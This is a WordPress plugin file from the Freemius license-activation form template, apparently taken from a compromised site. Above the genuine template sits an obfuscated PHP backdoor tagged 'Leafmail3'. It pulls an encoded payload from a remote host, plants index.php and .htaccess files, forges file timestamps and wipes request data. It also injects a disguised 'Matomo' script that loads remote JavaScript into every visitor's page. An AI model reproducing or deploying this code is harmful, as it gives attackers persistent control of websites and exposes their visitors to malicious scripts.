/
www
/
wwwroot
/
alo88.autos
/
wp-content
/
plugins
/
internal-links
/
freemius
/
templates
/
forms
/
Upload File
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php /** * @package Freemius * @copyright Copyright (c) 2015, Freemius, Inc. * @license https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3 * @since 1.1.9 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * @var array $VARS * * @var Freemius $fs */ $fs = freemius( $VARS['id'] ); $slug = $fs->get_slug(); $unique_affix = $fs->get_unique_affix(); $cant_find_license_key_text = fs_text_inline( "Can't find your license key?", 'cant-find-license-key', $slug ); $message_above_input_field = fs_text_inline( 'Please enter the license key that you received in the email right after the purchase:', 'activate-license-message', $slug ); $message_below_input_field = ''; $header_title = $fs->is_free_plan() ? fs_text_inline( 'Activate License', 'activate-license', $slug ) : fs_text_inline( 'Update License', 'update-license', $slug ); if ( $fs->is_registered() ) { $activate_button_text = $header_title; } else { $message_below_input_field = sprintf( fs_text_inline( 'The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.', 'license-sync-disclaimer', $slug ), $fs->get_module_label( true ), "<b>{$fs->get_plugin_title()}</b>" ); $activate_button_text = fs_text_inline( 'Agree & Activate License', 'agree-activate-license', $slug ); } $license_key_text = fs_text_inline( 'License key', 'license-key' , $slug ); $is_network_activation = ( $fs->is_network_active() && fs_is_network_admin() && ! $fs->is_delegated_connection() ); $network_activation_html = ''; $sites_details = array(); if ( $is_network_activation ) { $all_sites = Freemius::get_sites(); $all_site_details = array(); $subsite_url_by_install_id = array(); $install_url_by_install_id = array(); foreach ( $all_sites as $site ) { $site_details = $fs->get_site_info( $site ); if ( FS_Clone_Manager::instance()->is_temporary_duplicate_by_blog_id( $site_details['blog_id'] ) ) { continue; } $blog_id = Freemius::get_site_blog_id( $site ); $install = $fs->get_install_by_blog_id($blog_id); if ( is_object( $install ) ) { if ( isset( $subsite_url_by_install_id[ $install->id ] ) ) { $clone_subsite_url = $subsite_url_by_install_id[ $install->id ]; $clone_install_url = $install_url_by_install_id[ $install->id ]; if ( /** * If we already have an install with the same URL as the subsite it's stored in, skip the current subsite. Otherwise, replace the existing install's data with the current subsite's install's data if the URLs match. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ fs_strip_url_protocol( untrailingslashit( $clone_install_url ) ) === fs_strip_url_protocol( untrailingslashit( $clone_subsite_url ) ) || fs_strip_url_protocol( untrailingslashit( $install->url ) ) !== fs_strip_url_protocol( untrailingslashit( $site_details['url'] ) ) ) { continue; } } if ( FS_Plugin_License::is_valid_id( $install->license_id ) ) { $site_details['license_id'] = $install->license_id; } $subsite_url_by_install_id[ $install->id ] = $site_details['url']; $install_url_by_install_id[ $install->id ] = $install->url; } $all_site_details[] = $site_details; } if ( $is_network_activation ) { $vars = array( 'id' => $fs->get_id(), 'sites' => $all_site_details, 'require_license_key' => true ); $network_activation_html = fs_get_template( 'partials/network-activation.php', $vars ); } } $premium_licenses = $fs->get_available_premium_licenses(); $available_licenses = array(); foreach ( $premium_licenses as $premium_license ) { $activations_left = $premium_license->left(); if ( ! ( $activations_left > 0 ) ) { continue; } $available_licenses[ $activations_left . '_' . $premium_license->id ] = $premium_license; } $total_available_licenses = count( $available_licenses ); if ( $total_available_licenses > 0 ) { $license_input_html = <<< HTML <div class="fs-license-options-container"> <table> <tbody> <tr class="fs-available-license-key-container"> <td><input type="radio" name="license_type" value="available"></td> <td> HTML; if ( $total_available_licenses > 1 ) { // Sort the licenses by number of activations left in descending order. krsort( $available_licenses ); $license_input_html .= '<select class="fs-licenses">'; /** * @var FS_Plugin_License $license */ foreach ( $available_licenses as $license ) { $plan = $fs->_get_plan_by_id( $license->plan_id ); $label = sprintf( "%s-Site %s License - %s", ( 1 == $license->quota ? 'Single' : ( $license->is_unlimited() ? 'Unlimited' : $license->quota ) ), ( is_object( $plan ) ? $plan->title : '' ), $license->get_html_escaped_masked_secret_key() ); $license_input_html .= "<option data-id='{$license->id}' value='{$license->id}' data-left='{$license->left()}'>{$label}</option>"; } $license_input_html .= '</select>'; } else { $available_licenses = array_values( $available_licenses ); /** * @var FS_Plugin_License $available_license */ $available_license = $available_licenses[0]; $value = sprintf( "%s-Site %s License - %s", ( 1 == $available_license->quota ? 'Single' : ( $available_license->is_unlimited() ? 'Unlimited' : $available_license->quota ) ), $fs->_get_plan_by_id( $available_license->plan_id )->title, $available_license->get_html_escaped_masked_secret_key() ); $license_input_html .= <<< HTML <input class="fs-available-license-key" type="text" value="{$value}" data-id="{$available_license->id}" data-left="{$available_license->left()}" readonly /> HTML; } $license_input_html .= <<< HTML </td> </tr> <tr> <td><input type="radio" name="license_type" value="other"></td> <td class="fs-other-license-key-container"> <label for="other_license_key_{$unique_affix}">Other: </label> <div> <input id="other_license_key_{$unique_affix}" class="fs-license-key" type="text" placeholder="Enter license key" tabindex="1"> </div> </td> </tr> </tbody> </table> </div> HTML; } else { $license_input_html = "<input class='fs-license-key' type='text' placeholder='{$license_key_text}' tabindex='1' />"; } $ownership_change_option_text = fs_text_inline( "Associate with the license owner's account.", 'associate-account-with-license-owner', $slug ); $ownership_change_option_html = "<div class='ownership-change-option-container' style='display: none'><label><input type='checkbox' /> <strong>{$ownership_change_option_text}</strong></label></div>"; /** * IMPORTANT: * DO NOT ADD MAXLENGTH OR LIMIT THE LICENSE KEY LENGTH SINCE * WE DO WANT TO ALLOW INPUT OF LONGER KEYS (E.G. WooCommerce Keys) * FOR MIGRATED MODULES. */ $modal_content_html = <<< HTML <div class="notice notice-error inline license-activation-message"><p></p></div> <p>{$message_above_input_field}</p> {$license_input_html} <a class="show-license-resend-modal show-license-resend-modal-{$fs->get_unique_affix()}" href="!#" tabindex="2">{$cant_find_license_key_text}</a> {$network_activation_html} <p>{$message_below_input_field}</p> {$ownership_change_option_html} HTML; /** * Handle the ownership change option if not an add-on or if no license yet is activated for the * parent product in case of an add-on. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ $is_user_change_supported = ( ! $fs->is_addon() || ! $fs->get_parent_instance()->has_active_valid_license() ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> <script type="text/javascript"> (function( $ ) { $( document ).ready(function() { var modalContentHtml = <?php echo json_encode($modal_content_html); ?>, modalHtml = '<div class="fs-modal 